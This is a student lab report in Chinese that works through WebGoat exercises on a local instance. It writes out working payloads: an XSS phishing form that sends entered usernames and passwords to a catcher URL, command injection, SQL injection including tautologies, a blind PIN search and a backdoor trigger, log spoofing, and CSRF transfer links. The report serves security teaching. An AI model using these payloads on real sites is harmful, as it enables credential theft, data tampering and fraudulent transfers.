2019-2020-2 网络对抗技术 20175236 EXP9 Web安全基础实践
一、基础问题回答
- 1.SQL注入攻击原理,如何防御
- 原理:攻击者把SQL命令插入到网页的各种查询字符串处,达到欺骗服务器执行恶意的SQL命令。
- 防御:在网页设计时对文本框的输入进行限制,比如说长度限制、不能出现#号等
- 2.XSS攻击的原理,如何防御
- 原理:攻击者在可输入域插入一些html或脚本语言使服务器执行那些代码
- 防御:关键字防御,比如过滤
<script>
这种敏感词汇,减少被攻击的风险
- 3.CSRF攻击原理,如何防御
- 原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限
- 防御:1.cookie的保存时间不宜过长;2.服务器要求用户输入相对应的验证码;3.服务器尽量在表单中使用post方法
二、实验过程记录
开启WebGoat
-
Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件。
在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。直到出现INFO: Starting ProtocolHandler ["http-bio-8080"]
打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。
XSS攻击
Phishing with XSS
-
这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点创建一个form。利用这个网站读取目标的身份信息。
-
首先输入攻击代码:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Reflected XSS 反射型XSS攻击
- 在
code
框中输入<script>alert("hahahahhahah20175236");</script>
Stored XSS Attacks
- 题目要求:基于存储的xss攻击,把攻击者的数据存储在服务器端,攻击将伴随着攻击数据一直存在。
- 在Message里输入
<script>alert("Lets go go go go 5236!");</script>
SQL
Injection Flaws
-
左侧有很多种攻击实验,先选一个看似简单的Command Injection来试试
-
题目意思:命令注入攻击对任何参数驱动的站点都构成严重威胁。清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。要求我们应用程序使用系统命令返回文件的内容。
-
打开网页的源代码
-
本题我们要改
BackDoors.help
后面的代码,于是直接搜索BackDoors.help
,找到后在其后加入"& netstat -an & ipconfig"
-
加入完成以后敲回车即可.
-
选定刚刚添加的代码选项而后view一下。出现了网络端口使用情况和IP地址。
Numeric SQL Injection
-
题目意思:尝试注入导致所有天气数据显示的SQL字符串,应用程序从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。
-
在搜索框内直接搜索哥伦比亚,然后利用永真式1=1,根据执行SQL
Log Spoofing
- 题目意思:利用日志的格式,使用换行等字符,欺骗管理员。可以使用障眼法来使用户名为
“admin”
的用户在日志中显示“成功登录”,例如在User Name
文本框中输入wff%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符:
String SQL Injection
- 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
- 仍然是永真式1=1的或门注入
- 本题直接在
last name
中注入Snow' OR '1'='1
- 这边出现了一点问题,就是点击GO一直没有反应。其实点一下restart重新开始就好了
- 尝试了一下输入自己名字的关键字,发现没有什么影响。所以就觉得永真式是真的强大,让前面的关键字显得毫无作用
LAB: SQL Injection(Stage 1:String SQL Injection)
- 题目意思:使用字符串SQL注入来绕过身份验证
- 在这里我们要在
password = ‘’
这里进行注入,理论上只要pwd = ' or 1=1 --。
那么执行语句就被改成了:select * from User where username=‘’and password =‘’ or 1 = 1 --‘
这样就可以登陆任何用户了,密码中输入' or 1=1 --
- 在这里,因为源代码里的密码长度最长为8位,改一下限制就好了
Stage 3:Numeric SQL Injection
- 题目意思:这个就是再上一个的基础上,登陆larry,然后浏览员工的信息点击
ViewProfile
就可以了 - viewprofile返回的是每次查询到的第一条数据,老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:
101 or 1=1 order by salary desc --
Database Backdoors
- 先看一下102的用户信息
- 这都是些什么人啊,家里开银行的嘛~~
- 通过输入sql语句来修改信息内容,比如输入
102; update employee set salary=1000000 where userid=102;
- 哎哎写大点,梦里什么都有~
- 注入一个触发器,触发器内容:
102;create trigger backdoor before insert on employee for each row begin update employee set email='wff@hackme.com'WHERE userid = 102;
把所有新注册的用户的email地址改成wff@hackme.com
Blind Numeric SQL Injection
- 题目意思:盲测,大致就是让你去猜测,然后逐步缩小范围。我们想知道其
pin
的值,只能去猜测,就像数学里的二分法一样,把区间逐步缩小,最后就确定了一个更加精确的范围。首先我们尝试一下200,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 200 );
- 注入的代码显示
Account number is valid
,表示是真的,所以它的范围比100大。那我们就再试试更大一点的2000,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );
- 当我注入2500的时候它发生了变化
- 所以我们大致确定它的范围在2000~2500之间
- 然后我们打开虚拟机的BRUP,因为8080端口已经被占用,所以我们就再添加一个端口。然后把端口号设为自己刚刚设置的端口号。
- 设置查找区间2000~2500,并且为了精准step设置为1
- 在
Options
中,选择Start attack
开始攻击 - 可以明显发现2364与其他的有明显区别,长得非常可疑,那不妨就把2364输入进行验证,果不其然是正确的。
CSRF攻击
Cross Site Request Forgery
- 写一个
URL
诱使其他用户点击,从而触发CSRF
攻击,我们可以以图片的的形式将URL
放进Message
框,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF
事件。 - 查看自己电脑的数值
- 然后在
message
里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=转账金额"/>
- 提交后生成一个链接
20175236
,点击查看。
CSRF Prompt By-Pass
-
这个还是利用的是CSRF,不过需要转账请求和确认转账成功请求。
-
步骤跟CSRF大致相同,但这回在message中输入代码是:
<iframe src="attack?Screen=268&menu=900&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
-
但是它没有提示那个祝贺成功,在浏览器输入
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
进行确认转账请求: -
点击
CONFIRM
,然后在输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,显示成功转走5000!
三、实验总结与体会
做了这么多练习,感觉很有成就感,尤其是在这十几个练习中,遇到了这样那样的问题,后来都通过自己的自主学习解决了。这种在自主学习之后,动手实践,发现问题、解决问题的过程,不仅给予了我更多学习的信心和动力,也让我在不断解决问题的过程中提升了自己各方面的能力,掌握了更全面的知识。
这一次的实验用到了webgoat,在其中做了关于SQL注入、XSS攻击和CSRF攻击,由于是全英文的网页所以对英文能力也有一定的考验==,在上一次的web基础实验中我对SQL注入、XSS攻击的理解只是表面的理解,实现的功能也很简单,这些知识点在这一次的实验中得到了很直观的学习,并且这一次的实验也警示我们,做网站编程的时候一定要对用户输入的信息做一个合法性的判断,不然会非常危险。